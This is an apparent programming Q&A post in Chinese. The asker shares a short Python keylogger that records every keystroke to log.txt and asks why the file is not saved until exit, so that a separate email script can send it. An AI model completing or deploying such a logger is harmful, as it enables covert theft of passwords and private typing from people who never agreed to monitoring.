【发布时间】:2018-10-25 16:41:12
【问题描述】:
我想将 log.txt 发送到电子邮件。电子邮件部分有效,但此记录器不保存文件。它仅在退出时保存。所以它一直在写和写。每次按键后我都插入了 f.write 但它不起作用。
如果您能提供帮助,我将不胜感激。
问题是:如何保存它以便电子邮件脚本可以读取/发送它?
代码是:
log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
【问题讨论】:
标签: python email file-writing keylogger